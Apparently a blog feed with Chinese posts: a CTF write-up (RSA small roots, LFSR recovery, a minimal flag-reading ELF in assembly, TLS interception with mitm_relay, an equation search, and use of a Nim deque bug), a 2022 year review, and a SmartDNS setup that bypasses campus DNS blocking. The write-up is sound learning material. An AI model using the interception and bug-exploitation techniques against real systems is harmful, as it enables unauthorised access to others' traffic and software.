297884065179119242885579397010301002269587025914412843839914485697156425835627326716120072517564835218176486762894277926849166546012797338773719752505879249820586468152881040752941710144094587652405208394474267682635307995555525363991847125278887508182299819757906767298175330658428104620353412651155102122443366942626261131446083653305564097406482708590827433754698726560824042156257389472460812810597643320615196810559003395551284485202617125945949427501548846537405927429764206673125385012334174079195305598468617287415793008103738135227973230749174741295203138265239800923952332395245756743289195713173195741862139060507186975686600042417162792280875368907990375864640374798732287821053226608250054916026034092368145308792329262980836014584645525944889929415902544065242598854005401727147258086776685307623571173511976026326987990520637480949369488868989658013215152581219067366904431437240787162705143625208544493269822842430693688134094157777583640605055668970611905563257125338530784586047061543658777057217021040442472653590599034561748863889357725215129066597092547411303547656971467282965987074522134192605023423240795135416495190235631598988949530266738346726214560994715402558526849405618488358810286021830007817450888972084306350626575143423375807780403032226906706955899470114782969437841974037506865811568281024354878124991629128153143875203404431965544681030413307290390215345627072958376971523100405044212825344700662604170782254201107514512785175420970824053606516818581042803785426295414829220452676745422250758793731435287462398982895726902059653760915865600cof3 = 39240350175547096234892187803864960471788979825424034275052683117877708196446001155364533534946537952361420730906167103390291600985908489767469314580011484165658466010891124668062401181266002305348600301563695563698830270987100848464761599579232357201958724989732235730370868375234009914776548290347610747127221079221928896082116279944040318977611094302603050129312427667138167176680287989358263447962326528340452523888091971649632814271577494550472417149552385740095084852847024864219695007900943132091632911568204644091734823458978063185806014065073207794893602080943261841773392277335101474127818540349623920370425794927669321182711252945540637604358578601576356110400801014987961249197564379693794091455189011443883401189972992457106178470023946696374701937092230425553137109507807074576574703749507805688096987194729139287512240139354281863428164878743560588733627834251681416128165620624004259641844045032082907400110379335069981300334226208431753590250634589732373577084686277311807103276722282688837913731195134048183289067621640430989624148816788995128501545721996140099295554433108919311070485628891947019383572153719750407871001733949057431577246074550543189306242762757699910199959902946184011503783628256674199215347846840726975782219114159641085860086414025175948565787542328903968242883836419757374745875926362908560338124755068980617571084160208483845597633787220447674081618482183304587700299637719270194217954336774618614761057060445322904217760402149606234230234302232759103676434981447230542299109447427775005766313755821441238165211350181744636224228453354251651472109452213189641139073800646444437554095818867555684110498743401824984129483326085164268142037569312850346992836253816662691814308306066751201732513208148017135467612366789153330256282171799572120460656599488725486182486876335222184968377965721058296966068957511692718983503909228047244716399998529199026345992531138976540366453595195701606194210123590477580168194694146485736432018226116334534707446748137095303434545495055861972645991670163332437953899743106661588367428541604360660558545566026838364373491953980010610470370575205595598918844806713372824955674656370126094395701956907293581769521981097737197049881248985908913802971483223758674642843664201808554870230952745128060972894057166174723448868678329015589384519681087622200201266454666641111034903739342739873719757121069678001193943487341037956064753176061864464400035509398198462333346446342145417758561516678299614988165293709844341137829745650317819716736245409534211537931474309649542643293481286288108797327082686032394262301806725714569926174658929032104358665346977612008826410052558251972505037604399993750875103732687980917598622794581557133564086619925370579974593904531599777401570987596226784788654464565211237426672053166320728447739096976380591661249138445693592809866686403424563905424497966766748347272172880406298580777009884403887002203251457975855284962288330010420556134912152780888099564887662839035605664244082866608935844317022220209078946185862137792168015223559804396482891997684868538235454373686259958357034596434430354461788642538590329890051467533742307518442025530266984906935369316068909171346312771211827790199946570041763324911386460809428364450519721603256193315668640567410592417158688381768489441223895776025034954387417934757392573701580193782051157294576846637940679852416ZmodN = Zmod(N)P.<x> = PolynomialRing(ZmodN)f = x^3 + cof1*x^2 + cof2*x + cof3x0 = f.small_roots()print(x0)
(cof1
、cof2
和 cof3
分别为二次项系数、一次项系数和常数项,预先用 Python 计算好了)
RSFL经过一番检索发现这是道非常标准的 LFSR 题目,直接根据网上的例子依葫芦画瓢求得初态 R。
mask = 0x9e393e7126c18da37dc14f9a3113c50c8ad4a522ae4501b20531 mask = str (bin (mask))[2 :]key = 0xc9fe198703d93a7cff319d81c311b169de4b8d528d2dbec4859b key = str (bin (key))[2 :]tmp = keybits = [1 , 5 , 6 , 9 , 11 , 18 , 21 , 22 , 24 , 25 , 33 , 35 , 39 , 42 , 43 , 44 , 46 , 48 , 50 , 54 , 57 , 59 , 62 , 64 , 67 , 69 , 71 , 72 , 74 , 76 , 80 , 83 , 84 , 89 , 91 , 95 , 96 , 97 , 98 , 101 , 105 , 109 , 110 , 114 , 116 , 117 , 120 , 121 , 122 , 123 , 124 , 127 , 129 , 135 , 136 , 137 , 139 , 140 , 141 , 142 , 143 , 145 , 146 , 150 , 152 , 153 , 155 , 156 , 160 , 161 , 167 , 168 , 170 , 171 , 174 , 177 , 181 , 182 , 183 , 186 , 187 , 188 , 189 , 190 , 193 , 196 , 197 , 198 , 202 , 203 , 204 , 205 ]R = '' for i in range (208 ): output = '?' + key[:207 ] ans = int (key[-1 ]) for j in bits: ans = ans ^ int (output[-j]) R += str (ans) key = str (ans) + key[:207 ]R = [R[i:i+8 ] for i in range (0 , len (R), 8 )]for c in R: print (chr (int (c, 2 )), end='' )
不过这样做下来,结果却是乱码。
想想明明是 LFSR 为啥题目叫 RSFL 呢?尝试把最后的 R 二进制倒转一下,也就是R = R[::-1]
,然后就成功拿到了 flag。
Misc Tiny ELF要构造一个不超过三百字节的可执行文件,显然不能用 C 来写,只能用汇编了。然而我并不会汇编,好在找到了现成的代码 ,把读取的文件路径以及返回值改改就能用。
; Tiny Read File - Assembly Language - Linux/x86; Copyright (C) 2013 Geyslan G. Bem, Hacking bits;; http://hackingbits.com; geyslan@gmail.com;; This program is free software: you can redistribute it and/or modify; it under the terms of the GNU General Public License as published by; the Free Software Foundation, either version 3 of the License, or; (at your option) any later version.;; This program is distributed in the hope that it will be useful,; but WITHOUT ANY WARRANTY; without even the implied warranty of; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the; GNU General Public License for more details.;; You should have received a copy of the GNU General Public License; along with this program. If not, see <http://www.gnu.org/licenses/>.;; Program modified by Hans362global _startsection .text_start:; int open(const char *pathname, int flags);xor ecx, ecxmul ecxmov al, 5push ecxpush 0x6761push 0x6c662f2fmov ebx, espint 0x80; ssize_t read(int fd, void *buf, size_t count);xchg eax, ebxxchg ecx, eaxmov al, 3xor edx, edxmov dx, 0x20inc edxint 0x80; ssize_t write(int fd, const void *buf, size_t count);xchg edx, eaxxor eax, eaxmov al, 4mov bl, 1int 0x80; void _exit(int status); mov eax, 1mov ebx, 42int 0x80
使用 nasm -f elf32 tinyelf.asm
编译,此时如果直接 ld -m elf_i386 tinyelf.o -o tinyelf
进行链接,得到的可执行文件非常庞大,远超三百字节,因此我们需要自定义一下链接的过程。创建一个 tinyelf.lds
文件,内容如下:
ENTRY (_start)SECTIONS{ . = 0 x400000 + SIZEOF_HEADERS; main : { *(.text ) *(.rodata) } /DISCARD/ : { *(.symtab ) *(.strtab) }}
然后使用 ld -m elf_i386 -s -static -T tinyelf.lds -o tinyelf tinyelf.o
进行链接,得到的可执行文件就只有320字节了,但依然不符合题目的要求。这时再用一下 super-strip 进一步缩减文件(写给官方的解题报告里漏了这步),就只剩下183字节了,base64 一下提交即可拿到 flag。
Baby Mitm题目已经明示用中间人攻击。先用 WireShark 抓了下包,发现是 TLSv1.3 加密,但包裹的应该并非 HTTP 协议,因此 Fiddler 等工具都用不了。
那么有没有适用于非 HTTP 协议的中间人攻击工具呢?找了很久终于发现了 mitm_relay ,完全符合需求。
可惜不知道我电脑上的 Python 是不是有什么问题,按照 README 配置好了证书,并且把 client
的流量重定向到了 Proxy,然而每次运行 client
mitm_relay 都会崩溃,导致我一度以为这个办法行不通。
后来开了个 Docker 容器搞了个干净的 Python 环境,然后竟然就正常了,成功抓到了 flag 信息并完成了解密。
可这解密出来的信息还是一团糟啊?而且每次返回的信息都不同,难道还有加密?多观察了几次我发现含有 flag 的信息总是以 78 9C 64
开头,似乎是某种文件头,Google 一下发现原来是 zlib 压缩的标记,解压一下即可。
import zlibd = "789C6450BB6EE33010ECF51553DE013A430759B65CA64C1F2035A55D9A4464AEB05CC55182FC7B40C5888B6C399C1707780AB2C07499567817B5C695D56E405E2FB3B310DF99EA0A784C0567CC938B095751CA35861516D6EDE19FF134C57486D7C8897615003C2482058E8AB34ACE985D4C564897780E868131B0192B96FC9D023C0756C618985F321233619844A8464CC58A110D31C30D45B2ABAA4DF4EBFAB65446E25756647785056758650145BAD728FE25F6D653D98B324C0A53B74990E44ECF6CDB14F0B224C21F515890A57CE586FDFDC9E0B771332FD7C89C3F4E27DF776DBB1F8FAEEBF64DC387664FED70ECFB7E3C75E48F7468FE7B1A3FBF020000FFFF7E80816F" d = bytes .fromhex(d)m = zlib.decompress(d)m = m.decode("utf-8" )print (m)
解出的明文上半部分是莎士比亚的诗随机摘录的一部分,最底下是 flag,这也解释了为什么每次返回的信息都不同。
Baby Equation求解这个方程的正整数解。
x y + z + y x + z + z x + y = k , k ∈ { 2 , 4 , 6 , 8 , 10 , 12 , 14 } \frac{x}{y+z}+\frac{y}{x+z}+\frac{z}{x+y}=k,{\ }k\in\{2, 4, 6, 8, 10, 12, 14\} y + z x + x + z y + x + y z = k , k ∈ { 2 , 4 , 6 , 8 , 1 0 , 1 2 , 1 4 }
Google 检索了一下,找到了 Quora 上的这个回答 ,贴心地提供了一个 k = 4 k=4 k = 4 时的 Magma 求解程序。
R<x,y,z> := RationalFunctionField(Rationals(),3 ); problem := ((x/(y+z) + y/(x+z) + z/(x+y)) - 4 ) ; Evaluate(problem,[-1 ,4 ,11 ]); problem*Denominator(problem); P2<x,y,z> := ProjectiveSpace(Rationals(),2 ); C := Curve(P2,x^3 - 3 *x^2 *y - 3 *x^2 *z - 3 *x*y^2 - 5 *x*y*z - 3 *x*z^2 + y^3 - 3 *y^2 *z - 3 *y*z^2 + z^3 ); Pt := C![-1 ,4 ,11 ]; E,f := EllipticCurve(C); g := f^-1 ; for n:= 1 to 100 do nPt_inE:=n*f(Pt); nPt_inC:=g(nPt_inE); X := Numerator(nPt_inC[1 ]); Y := Numerator(nPt_inC[2 ]); Z := Denominator(nPt_inC[1 ]); printf "X=%o\nY=%o\nZ=%o\n" ,X,Y,Z; if ((X gt 0 ) and (Y gt 0 )) then printf("GOT IT!!! x=apple, y=banana, z=pineapple, check the above solution\n" ); break ; else printf "Nee, some coordinate was negative above, I keep in the loop\n\n" ; end if ; end for ; if Evaluate(problem, [X,Y,Z]) eq 0 then printf "I evaluated the point to the original problem and yes, it worked!\n" ; else printf "Mmm this cannot happen!\n" ; end if ;
对于 k k k 取其他值的情况,只需要提供一组整数特解(不需要正整数),改动一下程序里的方程和特解,即可求出正整数解。
至于如何找到一组整数特解,可以用 Mathemetica 或这个 Python 程序:
from math import gcdn = 100 def calc (k ): for x in range (-n, n + 1 ): for y in range (-n, n + 1 ): for z in range (0 , n + 1 ): if gcd(x, gcd(y, z)) == 1 : if x**3 + y**3 + z**3 - (k-1 ) * x**2 * (y + z) - (k-1 ) * y**2 * ( z + x) - (k-1 ) * z**2 * (x + y) - (2 *k-3 ) * x * y * z == 0 : print ((x, y, z))calc(10 )
最后解下来发现 k = 8 k=8 k = 8 和 k = 12 k=12 k = 1 2 用这个方法解不出正整数解,不过解出五组也够了,提交即可拿到 flag。
附上解出的答案(每三行对应一组解,k = 8 k=8 k = 8 和 k = 12 k=12 k = 1 2 解不出所以用 1 1 1 占位)。
1134373612677928697257861252602371390152816537558161613618621437993378423467772036368751317941299998271978115652254748254929799689719709962831374716372246340555791544768021087461664419513150199198374856643256695654317000266348982532020352779991218343242702905855792264237868803223073090298310121297526752830558323845503910071851999217959704024280699759290559009162035102974023225032402201268386688642646194249481114120008492122321846196737758856447761622076778963225735852195244304981379971238636762392597144720260869859883222379931520298326390700152988332214525711323500132179943287700005601210288797153868533207131302477269470450828233936557111486237874538064262673731810148497763721905732356465890768665333959971445479055913094632095393819718121052555403971012213608619064201340292795283107902121058565307878681327935178490639793420926910311384652071019808659901831692881083109726138133576792688050707991134709544098774970366315687499590715801486684605848531840862995774951966598778232783014345433751837895584646378560097722185598160238070419680451885431654175988385793202828558181254940463484424373750274401154975744845313549355609896421653295060459073385345027218498760343088268275417130074269817993184931034711135686662438826817213563656105539275101535697856185534149345343499844688924609645885022355135918404539985234360061600350189104933602381092051318547433998422974780849873203504443997848655625530623340371134341848128666616900144765579208079985990838064549216971926322724228681888830028303266068257138844044018255271435540077145919301591275738734597339459327150605278900738075092002974105991478458558870434061142265122382216368947373807069713709930176019498122168857679124768213308531786347567931187892878408434918309016688829685352835815066580725250947929501490665081644655994535671618967990757851510884824555077182679991403377524647154791971060789752020813552933450127083583289512848480063215680871789266871667712713169422322364887230502908301686924054210360219287364955960956032042950833997524453330328272059153308291883334074276913609077731735284223918404284292419020812011476995921011741346807748175931518235517265745772175162459312702479399232407706908845419443981643112692945551070592330727356541136923766994413647861488973051126611026148759432379003889674724917944805607605522248369290505402289434909292483537959789906318874307733003636212064338665528270372138914552950520981104343589517822223391222134534938052800801473344178058681643355234652680630054983022124146408518221588969589953072079556410755020859599503506797164705586073997208789455400263349566445512977221962882867406488146422316005409966253780701584170838345028112949069889795685718655327046530483250125959173355678292967658914005638877070834611505129167951369865542011417024870301563177370018869158755113622408743199140022326059195657852986370212647002055769249427919561331384755453850684244409515534188128908717886781958319756449082516858512445042864312213606923472603131125312862163489874095569215350848020642593339333668497345496027314732958586211664873526777590213207494911489341805851119668605552962767170913510242826640252157887972782075528961355280336062145612460747723606271048651830697376448515279240383698244712760744225617860238413865463069908161808789650454745241907704275844268620641928071536471935844496315769833202537470824958655459533568285132339283938618222343063802537728518395353298233528915216796009477850913583253348657316305539116116545529005061890628594181727302600959589188925735191971379694355706370298940995871183032396390416512085602791303587544723405481920940763675217080848135445539322941838539207033324978817714980582330599640124052912926967531985018964876558514387292744663121901875818330026053857596485757632641362185800414508505696823397811729195950762298074638691319598677024682842850500466055330411193599574996670260492507269475864903238391223895885326678414020683576454741709602863217280010851276168216825863859040573444354295907934826671130563636454528049432770350792561383855445596764198934593413598210756244283133960172840494637655709996380769394897289315770647496306848105333931092479090617211591870032362741315085682044427187443198542321608859209927599313570244522981341655403891925668762696793907719481465429601734095543340697977445619789263260333955040257765154323207653185423045654950066530171927420226708484847785148696362128051684009006287078367627113950302616742922350689746559256788547473738546253597036529913164008886239140866538868133679321426499925438865107499467210806447455966881784773074840257999701947361563910608976890850681120516418668282306768016924440530657848816537335699121355049359050909203907837738074834870503545777919981175568661436044790745106190148655805228367983101181212325466410819682955290429003903817402587001173305732027063327857844602177643062519383986512680204327254096771700429703051102034935679024023938939600112395597429238435179484118705481556442118355641560666323383577129730629044138380813402139286515787005542023454150524855541144750166180919865766930052623463014576174554467821213957706498855559077927873140148579022102984237075640747995279989642832992188016154244525422278966269291094999255638208855482151405506938548578978626993952306016946318459909590778342355856153147577472731880392922408448351120608836436787309376542102861246758131059387213726386714147750943829877803608813501157597297132278662569590484844550173720257728957567960401433605097886634959342671140099728318480661981670113406848719025661715441498240565928452257694284734033186800579565313362313891643040303824890693074326810596828204114920499564539002024387811501676993037142024700539208458234538805837480373101259087885435757318639663667261597412600756998748849468402910307204633942748903285652463107201618869806410335014875125086076219328243935905232512517288787677039607942380387101187256890064827850683397174701574071447859273840130243421585240230546720814792141872637351043465819000677767263935304511294609746934407215686517293774009054989655225608925542221677606386577019926666519641600364567557194208313131276771325487167689236642467808540431881464601888142548664563650077494805488093052836193825650435423280004797008818023441669902387920463908641771270053841646139610358473027295405503333253535988771195991171826325976224803312343154770764448787106871066190163308337503496520787439022463066715315188820932966437067264819835942543744914754708785528560264636221600739219290648079243002368855133337672334702546690962019521762114649491890011821844552982141986770779324959379319663450035429876647739511502891515857175267046923938895240190738331037400875186816754190488884935451452912276673912555287036698557958114181944091831763987997170817657860587503942307866008409270543838849198648993460302655964709466390742236643982561028874558104072512842460862178322605890336695658154025228215730711703698453887
Tom’s Cheese拿到了 Nim 程序源代码,读了好几遍感觉没啥问题啊,怎么会有漏洞呢?即使在 Hint 给出之后,我依然百思不得其解,因为我下意识地认为 GitHub 上 Closed 的 Issue 应该都已经在最新版本(1.6.10)中被修复。
直到最近(3月10日) Nim 发布了 1.6.12 版本,我看了眼更新日志,发现竟然提到了修复了 deques
组件的一个 bug,于是赶紧翻找对应的 PR 。
有意思的是,这么严重的一个 bug 明明一月份就提出并修复了,怎么拖到现在才发布 Release 1.6.12。而 Release 1.6.10 是去年11月发布的,自然不会包括这个 bug 的修复,于是就给了我们可乘之机。
deques
实现的是一个顺序存储的双端循环队列,仔细看了一下发现触发 bug 的条件是队列中元素个数为 2 k 2^k 2 k 个,此时 shrink(fromFirst = 0, fromLast = 1)
就会出现不正确的结果,即队首元素变成了0。
那么利用这一个 bug,Tom 只要把奶酪的数量先搞成16个,然后用选项4喂 Jerry 0个,Tuffy 1个,于是队首的奶酪就神奇地变成了零卡的过期奶酪,再喂给 Jerry,这样 Jerry 的健康值就会下降,然后不停重复这一过程直至 Jerry 不健康了,就拿到了 flag。
(flag 说得对,不过我杀死的好像是 Jerry 不是 Tuffy 吧hhh)
总结总的来说,这次比赛体验很棒。题目的难度设置合理,让我这种 CTF 零基础小白在不熟悉的方向(比如 Crypto、Reverse、Pwnable)能边学边做,打完比赛又学到了很多新知识。同时题目也足够新颖,很有创意,几乎没有直接照搬的套路化的东西,是需要自己去分析思考的。当然还有奇安信赞助的丰厚奖金,做题的动力直接拉满。
最后拿了11847分,总排名#7,意外地挤进了前十,被大佬们包围着瑟瑟发抖。
]]>
+
+
+ <p>好久没更新博客了,周记已经咕咕咕好几个月了,等有空再写吧(</p>
+<p>作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白,前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会,就在博客上也发一遍吧。</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2022年终总结
+
+ https://blog.hans362.cn/post/2022-annual-report/
+ 2022-12-31T15:59:59.000Z
+ 2024-04-24T14:30:59.325Z
+
+ 2022年的最后一个冬夜,我和往年一样坐在屏幕前,试图用文字为过去的一年画上句号。今年的我,沉思良久,却一时不知从何写起。
2022年发生了太多事情,让我感到恐惧、愤怒、无奈、迷茫,却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中,但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此,我愿将它们和我的生活一起,写入我的年终总结,作为它们曾经存在过、发生过的一份见证。
年度关键词:「荒诞」2020年的再度轮回。
用一个词来概括2022年,我想只能是「魔幻」或「荒诞」。翻了下2020年的年终总结,我发现我已经用过「魔幻」了,所以今年就用「荒诞」吧。
整个上半年简直就像是直接挪用2020年的剧本,只不过把地点由武汉改成了上海。具体的经历可以看看周记#25 - 近况报告:高中生活完结🎉 ,此处不再赘述。
熬过了痛苦的网课、延期一个月的高考,匆匆过完缩水一个月的暑假,我终于迎来了大学生活。可开学第一天,星期二,我仿佛进入了循环。一人阳性,全校封闭,宿舍封楼,大学成了网课。具体的经历可以看看周记#28 - “开学第一课” ,此处不再赘述。
十月底,终于有几周线下课。但是,48小时核酸检测、进出校申请制度成为了新常态。没有边界的权力肆意延伸,核酸检测信息开始与校园卡挂钩,不做核酸的后果是冻结卡片,不能洗澡吃饭。
原以为2022年就会在这新常态中结束,谁料十二月,风向一百八十度大转弯。宣传口对于新冠的论调变成了小感冒、可自愈,国家对于新冠病毒的认识似乎在一夜之间就取得了质的飞跃。明明就在不久前,国家还在高强度宣传动态清零、妖魔化新冠。就这样,在这场近乎运动式的剧变中,我们走向了放开。
然后,毫不意外地,退烧药抢破头,重症死亡人数飙升,一场场生离死别的人间惨剧再度上演。毕竟,最近一年里,我们忙着大建方舱,忙着大筛核酸,忙着封控维稳,却忘了提高医疗设备和服务,忘了为放开之后的药物保障做准备。
在本应逐步放开的绝佳时机大肆封控,牺牲了无数人的正常生活甚至是生命,造成了一场场本可以避免的灾难,却又在这个寒冷的冬天,毫无征兆地将措手不及的人们推到病毒面前裸奔,我想,没有比这更荒诞的事情了。归根到底,这是「科学」在这个国家决策过程中的缺失。我们的「科学」向来都是听从于政治的,而不是为政治指引方向的,决策不是随着「科学」的发展逐步演进的,而是尽可能地彰显自身所谓的正确性与优越性。而最终承受这一切后果的,只能是底层的百姓。
于「荒诞」中勇敢抗争他人为你梦中的光明燃尽过。
很惭愧,我没有足够的勇气去抗争,我钦佩那些勇敢的人们,毅然起身,为更加光明的社会而战。无休止的封控能够迎来一个句号,离不开他们的努力。他们的勇气,让我看到了这片土地上依然有希望。
不要忘记那些夜晚的黑暗,不要忘记#FFFFFF
色的纸张,不要忘记那墙上的涂鸦和灰黑色的补丁,光明的到来不是理所当然的,希望回归正常生活的那一天,我们依然记得他们并心存感激。
除此之外,还要记录一位特殊的抗争者——网易新闻。在媒体环境急剧恶化、新闻自由受到严重威胁的今天,在各大媒体年终总结一众的“妖艳贱货”中,网易新闻选择了展示平凡人真实的2022年,直面现实揭示苦难,也让人看到了人性中永不磨灭的温暖光辉,是对如今高唱赞歌、粉饰太平的媒体环境的勇敢抗争。
视频发出后没多久,不出意外地被删除了。不过没关系,当视频被删除的那一刻,这个视频便完整了。
「荒诞」之下,仍要好好生活聊完沉重且严肃的话题,聊点轻松的吧,就像往年那样总结一下我个人的2022年。
学习警惕高考大类招生骗局。
经过了上半年的备战,我在7月的高考中取得了一个中规中矩的成绩,不算很差,但也并不是什么高分。填报志愿时,我别无选择,只能硬着头皮往大类招生的天坑里面跳。最终,我的运气还不错,被 SJTU 工科信息类录取了。
进入大学后,由于疫情封校,大类招生专业分流一度延后,直到11月专业才最终确定。由于高考成绩并不出色,我与 CS/SE/IS 根本无缘,连自动化都够不到,最后是压着线去了完全陌生的信息工程专业。虽说这名字听着和软工什么的好像差不多,但实际上它属于电子系,学的内容涵盖了电子工程、通信工程、视频编码、机器学习、计算机视觉等等,完全是杂而不精。
虽然很遗憾,但事已至此,我也只能接受现实。平台内转专业的竞争过于激烈,我不愿再经历一次高四,就顺着这条路走下去吧。当然,如果有选择的机会,千万不要碰大类招生!
游戏无论当下的境遇如何,提瓦特大陆的星空永远会有你的位置。
没错,今年陪伴我最久的游戏,当然是《原神》啦!无论是剧情,还是配音和 OST,都是一流的水准。作为一个零氪玩家也能玩得很开心。
对我而言,年度最佳任务可能是「森林书」吧。尽管这是继「神樱大祓」后又一长篇任务,被不少人吐槽冗长繁琐,但剧情真的很棒,像在读一个美妙的童话,刀子也很棒 。
最后安利一个原神年度混剪~
音乐网易云音乐==OST播放器
年度歌手 HOYO-MiX,鬼知道我把 OST 听了多少遍。
阅读不知道做什么的话,就去读书吧。
说来也惭愧,除去教材外,今年读的书屈指可数。
《一本小小的蓝色逻辑书》 为了熟悉分流考的逻辑题买的。内容主要包括逻辑推理、逻辑漏洞、分析论述等方面的知识,每一章都配有几道练习题。就系统性而言我觉得这本书不太行,当然如果只是读一读打发时间顺便学点东西倒也还行。
《献给阿尔吉侬的花束》 看了 DIYgod 的推荐买了,是关于人生意义和成长的科幻小说,确实不错,中文译本也很有特色。
《深入理解计算机系统》 传说中的 CS:APP,只读完了前两章,填补了我的很多知识盲区,强烈推荐 C++ 初学者把前两章作为预备知识学习,对理解信息是如何在计算机中存储的很有帮助。
博客惨惨淡淡又一年。
由于7月份的时候弃用了愈发臃肿的 Google Analytics,改用了自建的 Umami,因此丢失了上半年的访问量统计数据。
今年发布了8篇文章,如果还有你没读过的,不妨去看看哦。
今年新增9条有效评论,感谢每一个前来互动的人🥰
2023,会更好的吧?疫情三年,我已经对“春暖花开”这个词 PTSD 了,因为有太多个冬天后的春天,都是一片荒芜。但是,我还是希望,待这个寒冬过去,春天真的能够在2023年到来,我们能自由地呼吸,去做想做的事,去见想见的人。
我的2023愿望清单:
顺利通过所有考试 回老家过年 去外地旅行 学会做几道菜 做好润的规划 当然最重要的是,身体健康,幸福快乐。
最后,感谢读到这的你,祝你的2023年,一切顺利,心想事成!
]]>
+
+
+ <p>2022年的最后一个冬夜,我和往年一样坐在屏幕前,试图用文字为过去的一年画上句号。今年的我,沉思良久,却一时不知从何写起。</p>
+<p>2022年发生了太多事情,让我感到恐惧、愤怒、无奈、迷茫,却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中,但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此,我愿将它们和我的生活一起,写入我的年终总结,作为它们曾经存在过、发生过的一份见证。</p>
+
+
+
+
+
+
+
+
+
+
+
+ 对抗校园网 DNS 污染,我有妙招
+
+ https://blog.hans362.cn/post/how-i-fight-against-campus-dns-pollution/
+ 2022-10-15T04:42:17.000Z
+ 2024-04-24T14:30:59.329Z
+
+ 最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络,这确实是我迄今为止使用过的最奢华的网络环境,尤其是把 WSL 软件源更换成 SJTUG 镜像站后,能够以接近 1Gbps 的速率更新软件包,体验极度舒适。
然而,某天早上7:30,当我试图打开 Bilibili 时,Chrome 浏览器却提示 DNS_PROBE_FINISHED_NXDOMAIN
,手机客户端也加载失败。通过查阅校内论坛,我得知由于某些原因,从2022年5月25日起的每天0点至8点,学校网络信息中心提供的 DNS 服务器会故意 不返回大部分视频网站(包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手)及游戏网站(包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏)的解析结果,即所谓的 DNS 污染。
虽然我多数时候没有在0点至8点使用这些网站的需求,但是我并不认可这种行为,所以本文就来谈谈我是如何对抗校园网 DNS 污染的。
更换 DNS?没那么简单也许你会认为,既然只是学校网络信息中心提供的 DNS 服务器在特定时段不返回解析结果,那么只要改为使用公共 DNS 就能解决问题。没错,我一开始也是这样认为的,校内论坛上提供的解决方法亦是如此。
但是,在路由器上更换 DNS 后,却没有任何效果。我尝试在特定时段使用 nslookup
命令向校园网 DNS 服务器和一些公共 DNS 服务器查询 bilibili.com
的解析结果,结果很 amazing 啊!
Sat Oct 14 02:03:09 GMT 2022== SJTU Primary == Server: 202.120.2.101Address 1: 202.120.2.101 202.120.2.101.dns.sjtu.edu.cn== SJTU Secondary == Server: 202.112.26.40Address 1: 202.112.26.40 202.112.26.40.dns.sjtu.edu.cn== 114 == Server: 114.114.114.114Address 1: 114.114.114.114 public1.114dns.com== DNSPod == Server: 119.29.29.29Address 1: 119.29.29.29 pdns.dnspod.cn
无一例外地全部被阻断!我尚不清楚校园网是如何做到这一点的,或许是强制重定向所有 DNS-over-UDP 查询请求到校园网 DNS 服务器,导致请求根本没有到达 114 或 DNSPod 服务器,又或许是由于 DNS-over-UDP 查询是明文的,校园网出口能够识别出查询的域名,从而直接返回空结果。总之,这种情况下,简单地更换 DNS 服务器是无效的。
而且,即使这种方法有效,公共 DNS 会导致一些校内域名无法被正常解析,或无法返回最快的结果,同样会影响使用体验。
另辟蹊径既然更换 DNS 无效,那么就只能另辟蹊径了。我想到的第一个方法是使用代理服务器,利用 dns2socks 等工具将 DNS 查询请求转发到代理服务器,再由代理服务器向公共 DNS 服务器查询结果,最后将结果返回给客户端。但这种方法需要一台境内服务器以确保速度,同时协议转换的过程对路由器的性能也有一定的要求。
因此,我决定使用另一种方法,那就是 DNS-over-HTTPS(DoH) 和 DNS-over-TLS(DoT)。二者都是 DNS-over-UDP 的替代方案,通过 HTTPS 或 TLS 协议向公共 DNS 服务器查询结果,从而避免了 DNS-over-UDP 查询请求被校园网通过某些方式污染的问题。
同时,为了避免上一节末尾提到的问题,我希望能够优先使用校园网 DNS 服务器进行查询,只有在校园网 DNS 服务器无法正常返回结果时才使用 DoH 或 DoT 向公共 DNS 服务器进行查询。SmartDNS 无疑是实现这一需求的绝佳工具。
SmartDNS,出击!SmartDNS 是一个运行在本地的 DNS 服务器,它接受来自本地客户端的 DNS 查询请求,然后从多个上游 DNS 服务器获取 DNS 查询结果,并将访问速度最快的结果返回给客户端,以此提高网络访问速度。 SmartDNS 同时支持指定特定域名 IP 地址,并高性匹配,可达到过滤广告的效果。 与 DNSmasq 的 all-servers 不同,SmartDNS 返回的是访问速度最快的解析结果。 支持树莓派、OpenWrt、华硕路由器原生固件和 Windows 系统等。
(摘录自 SmartDNS 项目主页 )
关于 SmartDNS 是如何实现择优解析,以及如何避免因测速导致 DNS 解析过慢的,可以参考 Sukka 的这篇文章 。
根据 SmartDNS 的官方文档以及路由器的处理器构架,我下载了编译好的 armv7 二进制,并编写了配置文件。
bind :5362 speed -check-mode ping,tcp:80 ,tcp:443 server 202.120.2.101:53 server 202.112.26.40:53 server -https https://1.12.12.12 /dns-queryserver -https https://120.53.53.53 /dns-queryserver -https https://1.1.1.1 /dns-queryserver -tls dot.pub:853 server -tls 8.8.4.4:853
将 SmartDNS 运行后,我将路由器自带的 dnsmasq 的上游服务器设置为 127.0.0.1:5362
,然后…
Sat Oct 15 02 :03 :09 GMT 2022 Server : 127.0.0.1 Address 1 : 127.0.0.1 localhost.localdomainName : bilibili.comAddress 1 : 119.3.70.188 ecs-119 -3 -70 -188 .compute.hwclouds-dns.com
与此同时,SmartDNS 的日志也记录下了这次查询的过程。
